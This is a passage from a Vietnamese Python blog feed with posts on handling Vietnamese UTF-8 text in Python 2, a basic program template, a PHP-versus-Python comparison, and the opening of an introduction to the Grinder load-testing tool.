<span class="gp">>>> </span><span class="n">ss</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="n">ss</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">)</span> <span class="o">+</span> <span class="sa">u</span><span class="s2">""</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<stdin>"</span>, line <span class="m">1</span>, in <span class="n"><module></span>
<span class="gr">UnicodeDecodeError</span>: <span class="n">'ascii' codec can't decode byte 0xc3 in position 3: ordinal not in range(128)</span>
</pre></div>
<p>Hai cách để cộng đúng là:</p>
<div class="highlight"><pre><span></span><span class="go">ss.decode('utf8') + u""</span>
</pre></div>
<p>hoặc</p>
<div class="highlight"><pre><span></span><span class="go">unicode(ss, 'utf8') + u""</span>
</pre></div>
<p>Các thao tác với chuỗi khác như <tt class="docutils literal">join</tt>, <tt class="docutils literal">split</tt>, <tt class="docutils literal">find</tt>... cũng tương tự. Nghĩa là nếu có một tham số unicode thì các tham số còn lại được tự động chuyển sang unicode trước khi thực hiện thao tác. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">ss</span> <span class="o">=</span> <span class="s2">"sky down no enemy"</span>
<span class="gp">>>> </span><span class="n">ss</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">u</span><span class="s2">" "</span><span class="p">)</span>
<span class="go">[u'sky', u'down', u'no', u'enemy']</span>
<span class="gp">>>> </span><span class="n">l</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"sky"</span><span class="p">,</span> <span class="s2">"down"</span><span class="p">,</span> <span class="s2">"no"</span><span class="p">,</span> <span class="s2">"enemy"</span><span class="p">]</span>
<span class="gp">>>> </span><span class="n">unichr</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="go">u'sky down no enemy'</span>
</pre></div>
<p>Tương tự thao tác sau sẽ gây lỗi:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="n">s</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">u</span><span class="s2">" "</span><span class="p">)</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<string>"</span>, line <span class="m">1</span>, in <span class="n"><string></span>
<span class="gr">UnicodeDecodeError</span>: <span class="n">'ascii' codec can't decode byte 0xc3 in position 3: ordinal not in range(128)</span>
</pre></div>
<p>Để chuyển một chuỗi tiếng Việt utf sang dạng viết hoa, bạn luôn luôn phải chuyển nó về unicode trước. Nghiên cứu ví dụ sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="n">s</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span>
<span class="go">'THI\xc3\xaaN H\xe1\xba\xa1 V\xc3\xb4 \xc4\x91\xe1\xbb\x8bCH'</span>
<span class="gp">>>> </span><span class="n">s</span>
<span class="go">'thi\xc3\xaan h\xe1\xba\xa1 v\xc3\xb4 \xc4\x91\xe1\xbb\x8bch'</span>
<span class="go"><</sourcecode>></span>
</pre></div>
<p>So sánh với <tt class="docutils literal">s</tt> ta thấy <tt class="docutils literal">s.upper()</tt> không upper case được các ký tự <tt class="docutils literal">ê</tt>, <tt class="docutils literal">ạ</tt>, <tt class="docutils literal">ô</tt>, <tt class="docutils literal">đ</tt>, <tt class="docutils literal">ị</tt>...</p>
<p>Để upper một chuỗi utf bạn phải chuyển nó về unicode trước, upper xong thì chuyển ngược lại. Hàm Upper sau nhận đầu vào là chuỗi utf, upper nó và trả về utf khác đã được upper, hàm này thích hợp cho mục đích upper tiếng Việt:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="k">def</span> <span class="nf">Upper</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="nb">type</span><span class="p">(</span><span class="sa">u</span><span class="s2">""</span><span class="p">):</span>
<span class="k">return</span> <span class="n">s</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span>
<span class="k">return</span> <span class="n">unicode</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s2">"utf8"</span><span class="p">)</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s2">"utf8"</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="n">us</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'utf8'</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">s</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">Upper</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">Upper</span><span class="p">(</span><span class="n">us</span><span class="p">)</span>
</pre></div>
<p>Kết quả:</p>
<pre class="literal-block">
THIêN Hạ Vô địCH
THIÊN HẠ VÔ ĐỊCH
THIÊN HẠ VÔ ĐỊCH
</pre>
<p>Đầu vào thích hợp của Upper là ascii, utf8, unicode, các dạng khác có thể sai: latin1, tcvn... Tương tự như vậy cho hàm lower, và capwords. Xem xét ví sau với capwords:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="nb">print</span> <span class="n">string</span><span class="o">.</span><span class="n">capwords</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">string</span><span class="o">.</span><span class="n">capwords</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'utf8'</span><span class="p">))</span>
</pre></div>
<p>Kết quả:</p>
<pre class="literal-block">
Thiên Hạ Vô địch
Thiên Hạ Vô Địch
</pre>
<p>Các tên file hoặc tên thư mục là tiếng Việt có dấu cũng đòi hỏi cách xử lý đặc biệt. Giả sử bạn có thư mục <tt class="docutils literal">abc</tt> với một file duy nhất tên là: <tt class="docutils literal">tiếng việt.txt</tt>. Thư mục <tt class="docutils literal">abc</tt> đặt trong thư mục cá nhân của bạn. Nghiên cứu đoạn chương trình sau:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="s2">"~"</span><span class="p">),</span> <span class="s2">"abc"</span><span class="p">)</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">basename</span><span class="p">)</span> <span class="k">for</span> <span class="n">basename</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)]</span>
<span class="nb">print</span> <span class="nb">map</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">,</span> <span class="n">files</span><span class="p">)</span>
</pre></div>
<p><strong>Chú ý:</strong></p>
<ul class="simple">
<li>Trên Windows <tt class="docutils literal">path = <span class="pre">"C:\Documents</span> and Settings\YourAccountName\abc"</tt></li>
<li>Trên Linux <tt class="docutils literal">path = "/home/YourAccountName/abc"</tt></li>
</ul>
<p>Vì chỉ có duy nhất một file <tt class="docutils literal">tiếng việt.txt</tt> trong thư mục <tt class="docutils literal">abc</tt> nên chúng ta mong đợi kết quả in ra là: <tt class="docutils literal">[True]</tt>. Tuy nhiên chỉ Linux cho câu trả lời này. Windows thì không. Không tin bạn thử xem. Chương trình trên cho dù đã được viết với việc tận dụng thư viện sẵn có <tt class="docutils literal">os</tt> nhằm nâng cao tính khả chuyển nhưng vẫn không khả chuyển, khi tên file là tiếng Việt có dấu.</p>
<p>Giải quyết vấn đề này rất đơn giản bạn chỉ cần thay <tt class="docutils literal">"abc"</tt> thành <tt class="docutils literal">u"abc"</tt> để tất cả các đường dẫn tên file bị ép chuyển sang unicode là OK. Bạn làm như sau:</p>
<div class="highlight"><pre><span></span><span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="s2">"~"</span><span class="p">),</span> <span class="sa">u</span><span class="s2">"abc"</span><span class="p">)</span>
</pre></div>
<p>hoặc</p>
<div class="highlight"><pre><span></span><span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="sa">u</span><span class="s2">"~"</span><span class="p">),</span> <span class="s2">"abc"</span><span class="p">)</span>
</pre></div>
<p>Các vấn đề tương tự cũng áp dụng cho hàm <tt class="docutils literal">glob</tt> hoặc <tt class="docutils literal">walk</tt>, Các hàm này cần các đường dẫn là chuỗi unicode để có thể lấy chính xác các file có tên tiếng Việt.</p>
<p>Loại bỏ dấu tiếng Việt. Trong nhiều trường hợp bạn cần loại bỏ dấu của một chuỗi tiếng Việt có dấu. Chẳng hạn chuyển <tt class="docutils literal">tiếng việt</tt> thành <tt class="docutils literal">tieng viet</tt>. Đây là một cách thức đơn giản giải quyết vấn đề này:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="n">INTAB</span> <span class="o">=</span> <span class="s2">"ạảãàáâậầấẩẫăắằặẳẵóòọõỏôộổỗồốơờớợởỡéèẻẹẽêếềệểễúùụủũưựữửừứíìịỉĩýỳỷỵỹđ"</span>
<span class="n">INTAB</span> <span class="o">=</span> <span class="p">[</span><span class="n">ch</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">'utf8'</span><span class="p">)</span> <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">unicode</span><span class="p">(</span><span class="n">INTAB</span><span class="p">,</span> <span class="s1">'utf8'</span><span class="p">)]</span>
<span class="n">OUTTAB</span> <span class="o">=</span> <span class="s2">"a"</span><span class="o">*</span><span class="mi">17</span> <span class="o">+</span> <span class="s2">"o"</span><span class="o">*</span><span class="mi">17</span> <span class="o">+</span> <span class="s2">"e"</span><span class="o">*</span><span class="mi">11</span> <span class="o">+</span> <span class="s2">"u"</span><span class="o">*</span><span class="mi">11</span> <span class="o">+</span> <span class="s2">"i"</span><span class="o">*</span><span class="mi">5</span> <span class="o">+</span> <span class="s2">"y"</span><span class="o">*</span><span class="mi">5</span> <span class="o">+</span> <span class="s2">"d"</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s2">"|"</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">INTAB</span><span class="p">))</span>
<span class="n">replaces_dict</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">INTAB</span><span class="p">,</span> <span class="n">OUTTAB</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">khongdau</span><span class="p">(</span><span class="n">utf8_str</span><span class="p">):</span>
<span class="k">return</span> <span class="n">r</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="k">lambda</span> <span class="n">m</span><span class="p">:</span> <span class="n">replaces_dict</span><span class="p">[</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)],</span> <span class="n">utf8_str</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">khongdau</span><span class="p">(</span><span class="s2">"thiên hạ vô địch"</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">khongdau</span><span class="p">(</span><span class="s2">"sky down no enemy"</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">khongdau</span><span class="p">(</span><span class="s2">"THIÊN HẠ VÔ ĐỊCH"</span><span class="p">)</span>
</pre></div>
<p>Kết quả:</p>
<pre class="literal-block">
thien ha vo dich
sky down no enemy
THIÊN HẠ VÔ ĐỊCH
</pre>
<p>Test thứ ba cho thấy nó chưa làm việc với chữ hoa. Một chút cải tiến nhỏ để nó làm việc với chữ hoa các bạn có thể thêm vào dễ dàng. Chương trình này chưa được test kỹ về sự chính xác và về performance. Các bạn tự test và công bố kết quả nhé.</p>
<p>Slice với chuỗi tiếng việt dạng utf8 có thể gặp các vấn đề. Thao tác tương tự khi bạn đọc các khối dữ liệu utf8 với kích thước quy định trước từ file utf8. Xem xét các ví dụ sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s1">'thiên hạ vô địch'</span>
<span class="gp">>>> </span><span class="n">s</span>
<span class="go">'thi\xc3\xaan h\xe1\xba\xa1 v\xc3\xb4 \xc4\x91\xe1\xbb\x8bch'</span>
<span class="gp">>>> </span><span class="n">s</span><span class="p">[</span><span class="mi">7</span><span class="p">:</span><span class="mi">17</span><span class="p">]</span>
<span class="go">'h\xe1\xba\xa1 v\xc3\xb4 \xc4'</span>
</pre></div>
<p>chuỗi s[7:17] là chuỗi què. byte cuối cùng của chuỗi này <tt class="docutils literal">\xc4</tt> mới là một nửa của chữ cái <tt class="docutils literal">đ</tt> (<tt class="docutils literal">'\xc4\x91'</tt>), vì vậy mọi thao tác của bạn trên chuỗi này có tiềm năng gặp lỗi. chẳng hạn:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">unicode</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="mi">7</span><span class="p">:</span><span class="mi">17</span><span class="p">],</span> <span class="s1">'utf8'</span><span class="p">)</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<stdin>"</span>, line <span class="m">1</span>, in <span class="n"><module></span>
File <span class="nb">"/usr/lib/python2.6/encodings/utf_8.py"</span>, line <span class="m">16</span>, in <span class="n">decode</span>
<span class="k">return</span> <span class="n">codecs</span><span class="o">.</span><span class="n">utf_8_decode</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="n">errors</span><span class="p">,</span> <span class="kc">True</span><span class="p">)</span>
<span class="gr">UnicodeDecodeError</span>: <span class="n">'utf8' codec can't decode byte 0xc4 in position 9: unexpected end of data</span>
<span class="gp">>>> </span><span class="n">unicode</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="mi">7</span><span class="p">:</span><span class="mi">16</span><span class="p">],</span> <span class="s1">'utf8'</span><span class="p">)</span>
<span class="go">u'h\u1ea1 v\xf4 '</span>
</pre></div>
<p>Unicode áp dụng cho s[7:16] thì vô tư vì nó không bị què.</p>
<p>Việc đọc các file text utf8 cũng gặp tình huống tương tự. Chẳng hạn thao tác sau tiềm năng gặp lỗi:</p>
<div class="highlight"><pre><span></span><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"file name"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="o">...</span>
<span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</pre></div>
<p>Trong tình huống này bạn cố gắng đọc 1000 byte đầu tiên của file, <tt class="docutils literal">s</tt> có thể là chuỗi tiếng Việt bị què như tình huống ở trên.</p>
<p>Đọc ghi file dữ liệu tiếng Việt. File chứa dữ liệu dạng văn bản tiếng Việt thường được ghi dưới dạng unicode hoặc utf8. Đoạn chương trình sau đọc nội dung utf8:</p>
<div class="highlight"><pre><span></span><span class="go">ff = open("anyfile", 'r')</span>
<span class="go">content = ff.read()</span>
<span class="go">ff.close()</span>
</pre></div>
<p>Dữ liệu tiếng Việt lưu dưới dạng utf8 thường có BOM_UTF8 (= <tt class="docutils literal">"\xef\xbb\xbf"</tt>) ở đầu file. Bạn phải loại bỏ cái này trước khi có thể làm cái gì đó. Đoạn chương trình sau làm việc này:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">codecs</span>
<span class="n">content</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"anyfile"</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">if</span> <span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">codecs</span><span class="o">.</span><span class="n">BOM_UTF8</span><span class="p">):</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">content</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</pre></div>
<p>Chú ý rằng đoạn chương trình trên không thích hợp cho việc xử lý các file lớn (hơn 200MB). Với các file lớn bạn cần chia nhỏ thành các file nhỏ hơn.</p>
<p><tt class="docutils literal">codecs</tt> là thư viện chứa rất nhiều BOM.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">dir</span><span class="p">(</span><span class="n">codecs</span><span class="p">)</span>
<span class="go">['BOM', 'BOM32_BE', 'BOM32_LE', 'BOM64_BE', 'BOM64_LE', 'BOM_BE', 'BOM_LE', 'BOM_UTF16', 'BOM_UTF16_BE', 'BOM_UTF16_LE', 'BOM_UTF32',</span>
<span class="go">'BOM_UTF32_BE', 'BOM_UTF32_LE', 'BOM_UTF8', ...]</span>
</pre></div>
<p>Dùng thư viện <tt class="docutils literal">codecs</tt> bạn có thể nhanh chóng đọc nội dung file mà không mất nhiều công biến đổi encoding. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="c1"># đọc toàn bộ nội dung của file vào content,</span>
<span class="c1"># nội dung của file được biết trước như là utf8,</span>
<span class="c1"># content sẽ là nội dung unicode.</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">codecs</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">'your file name'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">,</span> <span class="s1">'utf8'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="c1"># mặc định đọc toàn bộ nội dung của file vào content</span>
<span class="c1"># (dạng mặc định là utf8)</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">codecs</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">'your file name'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</pre></div>
<p>Ghi dữ liệu tiếng Việt ra file:</p>
<div class="highlight"><pre><span></span><span class="n">ff</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"filename"</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
</pre></div>
<p>Ở đây <tt class="docutils literal">content</tt> là chuỗi utf8, nếu bạn đưa vào <tt class="docutils literal">content</tt> là dạng unicode, nó sẽ được tự động chuyển về dạng utf8 trước khi được ghi ra file.</p>
Cấu trúc đơn giản của một chương trình Python2009-05-19T01:09:00+07:002009-05-19T01:09:00+07:00Phạm Thị Minh Hoàitag:None,2009-05-19:2009/05/cau-truc-don-gian-cua-mot-chuong-trinh-python.html<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span>
<span class="c1"># -*- coding: utf-8 -*-</span>
<span class="c1"># Bạn có thể comment bằng tiếng Việt có dấu thoải mái. Hãy dùng tín hiệu ở</span>
<span class="c1"># dòng trên để báo cho các Editor biết được đây là file utf8.</span>
<span class="sd">""" đây là cách thức được dùng để viết docstring cho một khối """</span>
<span class="c1"># Viết thêm cái …</span></pre></div><div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span>
<span class="c1"># -*- coding: utf-8 -*-</span>
<span class="c1"># Bạn có thể comment bằng tiếng Việt có dấu thoải mái. Hãy dùng tín hiệu ở</span>
<span class="c1"># dòng trên để báo cho các Editor biết được đây là file utf8.</span>
<span class="sd">""" đây là cách thức được dùng để viết docstring cho một khối """</span>
<span class="c1"># Viết thêm cái này cho nó đẹp</span>
<span class="sd">"""</span>
<span class="sd">#-----------------------------------------------------------------------------</span>
<span class="sd"># Name: Module Name</span>
<span class="sd">#</span>
<span class="sd"># Purpose:</span>
<span class="sd">#</span>
<span class="sd"># Version: 1.1</span>
<span class="sd">#</span>
<span class="sd"># Author:</span>
<span class="sd">#</span>
<span class="sd"># Created: 13/01/2009</span>
<span class="sd"># Updated: 30/04/2009</span>
<span class="sd">#</span>
<span class="sd"># Copyright: (c) YourCompany</span>
<span class="sd">#</span>
<span class="sd"># Todo:</span>
<span class="sd">#-----------------------------------------------------------------------------</span>
<span class="sd">"""</span>
<span class="c1"># Import các thư viện</span>
<span class="kn">from</span> <span class="nn">xml</span> <span class="kn">import</span> <span class="n">sax</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="c1"># Khai báo và triển khai các lớp</span>
<span class="k">class</span> <span class="nc">YourClass</span><span class="p">:</span>
<span class="sd">"""</span>
<span class="sd"> Đặt các mô tả về lớp ở đây</span>
<span class="sd"> """</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="sd">""" Viết một cái gì đó để giải thích nếu cần thiết """</span>
<span class="c1"># KHÔNG nên viết quá 3 lệnh python trên một dòng, chương trình</span>
<span class="c1"># của bạn sẽ rất khó hiểu.</span>
<span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">{}</span>
<span class="k">pass</span>
<span class="c1"># KHÔNG nên viết một dòng Python dài hơn 80 ký tự</span>
<span class="k">def</span> <span class="nf">Test</span><span class="p">():</span>
<span class="k">pass</span>
<span class="c1"># Các lập trình viên python thường dùng cách này để test module</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">Test</span><span class="p">()</span>
</pre></div>
Python và PHP2009-01-30T03:01:00+07:002009-01-30T03:01:00+07:00Nhóm PCNVtag:None,2009-01-30:2009/01/python-va-php.html<p>Bài viết này được tổng hợp từ nhiều nguồn khác nhau (bằng tiếng anh) cộng với kinh nghiệm viết PHP và Python của tôi.</p>
<div class="section" id="i-giong-nhau">
<h2>I. Giống nhau</h2>
<ul class="simple">
<li>Là ngôn ngữ cao cấp, thông dịch và định kiểu động</li>
<li>Mã nguồn mở</li>
<li>Cộng đồng lập trình viên rộng lớn</li>
<li>Dễ học …</li></ul></div><p>Bài viết này được tổng hợp từ nhiều nguồn khác nhau (bằng tiếng anh) cộng với kinh nghiệm viết PHP và Python của tôi.</p>
<div class="section" id="i-giong-nhau">
<h2>I. Giống nhau</h2>
<ul class="simple">
<li>Là ngôn ngữ cao cấp, thông dịch và định kiểu động</li>
<li>Mã nguồn mở</li>
<li>Cộng đồng lập trình viên rộng lớn</li>
<li>Dễ học (so với Java, C hay Perl)</li>
<li>Dễ mở rộng (so với Java, C++)</li>
<li>Rất khả chuyển, chạy được trên nhiều nền tảng mà không phải biên dịch lại (tất nhiên rồi) hay sửa code</li>
</ul>
</div>
<div class="section" id="ii-khac-nhau">
<h2>II. Khác nhau</h2>
<div class="section" id="php-hon">
<h3>1. PHP hơn</h3>
<ul class="simple">
<li>PHP kế thừa các curly braces để đánh dấu code block của C và dấu <tt class="docutils literal">$</tt> của Perl</li>
<li>Các câu lệnh <tt class="docutils literal">switch</tt> và vòng lặp <tt class="docutils literal">do/while</tt></li>
<li>Toán tử gán, increment và decrement (<tt class="docutils literal">++</tt> và <tt class="docutils literal"><span class="pre">--</span></tt>)</li>
<li>Toán tử ternary operator/statement (<tt class="docutils literal">… ? … : …</tt>)
* Trong Python 2.5 có câu lệnh <tt class="docutils literal">if/else</tt> có tác dụng tương tự (<tt class="docutils literal">X if C else Y</tt>)</li>
<li>Array rất mạnh, dùng cho cả list và dict</li>
<li>Tham chiếu (<tt class="docutils literal">$a =& $b</tt> tức là khi biến <tt class="docutils literal">$b</tt> thay đổi, thì biến <tt class="docutils literal">$a</tt> cũng thay đổi)</li>
<li>Có cả private, protected và public access modifiers cho cả phương thức và thuộc tính</li>
<li>Dùng cả abstract và final modifiers cho cả classes và methods</li>
<li>Có interfaces</li>
<li><tt class="docutils literal">$this</tt> là đối tượng mặc định, và không cần truyền ngược <tt class="docutils literal">self</tt> để định nghĩa method như Python (với Python, để định nghĩa <tt class="docutils literal">test</tt> là method của một lớp cần định nghĩa: <tt class="docutils literal">def test(self)</tt>)</li>
</ul>
</div>
<div class="section" id="python-hon">
<h3>2. Python hơn</h3>
<ul class="simple">
<li>Ngôn ngữ sử dụng với các mục đích chung (Python có thể dùng để lập trình hầu hết mọi thứ, trong khi PHP chỉ dùng để lập trình web hay console. Tất nhiên có thể làm được việc khác nhưng không đáng kể)</li>
<li>Sử dụng indentation (thụt vào đầu dòng, và dòng mới) thay thế cho các dấu curly braces để đánh dấu các code block. Tất nhiên là trông đẹp hơn, nhưng không thân thiện với HTML template cho Web)</li>
<li>Có namespaces và modules (PHP 5.3 mới có namespaces)</li>
<li>Truyền biến cho hàm hiệu quả hơn PHP nhờ cặp <tt class="docutils literal">key=value</tt> pair, hỗ trợ tốt hơn cho giá trị mặc định của biến truyền vào hàm</li>
<li>Cho phép đa thừa kế (không rõ là hay hay là dở nữa)</li>
<li>Introspection tốt hơn PHP Reflection</li>
<li>Mọi thứ từ biến tới đối tượng đều có kiểu tham chiếu</li>
<li>Có Threading</li>
<li>Document tốt hơn PHP (nhưng chắc chắn là ít tài liệu trên mạng hơn PHP)</li>
<li>Có thể lập trình GUI (Tất nhiên là PHP cũng có thể nhưng không thể bằng)</li>
<li>Có thể chạy trên .Net với IronPython hay nền Java với Jython (PHP cũng có thể chạy trên Java thậm chí trong cả các Application Server)</li>
<li>Có web server, application server riêng, 100% viết bằng Python.</li>
<li>Có lambda và các hàm hỗ trợ để xây dựng hàm (PHP có create_function và closure)</li>
<li>Cached byte-code (PHP cũng có nhưng không tốt bằng)</li>
<li>Unicode được hỗ trợ tốt hơn</li>
<li>Kiểm soát lỗi ngoại lệ tốt hơn</li>
<li>Chạy nhanh hơn PHP (nhanh hơn nhưng tốn CPU và RAM)</li>
</ul>
<p>Hãy học Python cho đời còn lại của bạn nhé!</p>
<p>(Bài viết được chuyển từ diễn đàn do bạn kaka đóng góp)</p>
</div>
</div>
Grinder - Java load testing framework2007-11-29T21:14:00+07:002007-11-29T21:14:00+07:00Lê Ngọc Hiếutag:None,2007-11-29:2007/11/grinder-java-load-testing-framework.html<p>Những người làm phần mềm hẳn ai cũng đã biết đến công đoạn rất quan trọng sau khi thành phẩm là "kiểm thử" (test). Một trong những kiểu kiểm thử (test case) cần phải làm là kiểm thử khả năng chịu đựng của hệ thống (load test). Có một công …</p><p>Những người làm phần mềm hẳn ai cũng đã biết đến công đoạn rất quan trọng sau khi thành phẩm là "kiểm thử" (test). Một trong những kiểu kiểm thử (test case) cần phải làm là kiểm thử khả năng chịu đựng của hệ thống (load test). Có một công cụ rất mạnh để tự động hóa quá trình này, tiết kiệm thời gian và công sức cho đội kiểm thử đó là Grinder.</p>
<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Tại sao lại là <a class="reference external" href="http://grinder.sourceforge.net">Grinder</a> mà không phải là một công cụ nào khác? Đơn giản là vì Grinder sử dụng Jython - Python chạy trên nền Java - một sự kết hợp tuyệt vời của một ngôn ngữ rất mềm dẻo, mạnh mẽ (Python) với một khung nền có thể chạy trên mọi hệ điều hành (Java).</p>
<p>Grinder bao gồm 3 thành phần:</p>
<ul class="simple">
<li>Console: đây là thành phần đóng vai trò điều khiển và tiếp nhận kết quả kiểm thử trả về.</li>
<li>Agent process: đây là thành phần nhận lệnh từ Console và điều khiển các worker process.</li>
<li>Worker process: đây là các kịch bản kiểm thử do người dùng định nghĩa.</li>
</ul>
<p>Như vậy, tại máy dùng để theo dõi và hiển thị kết quả kiểm thử, chạy Console. Tại các máy trạm chịu trách nhiệm chạy các kịch bản kiểm thử, chạy Agent process. Các kịch bản kiểm thử sẽ được tự động chuyển về cho các Agent process từ Console khi người dùng ra lệnh chạy.</p>
</div>
<div class="section" id="chuan-bi">
<h2>Chuẩn bị</h2>
<p>Để chạy được Grinder cần phải cài đặt các biến môi trường trỏ về đúng thư mục cài đặt Grinder và các thành phần liên quan.</p>
<div class="section" id="doi-voi-windows">
<h3>Đối với Windows</h3>
<ul>
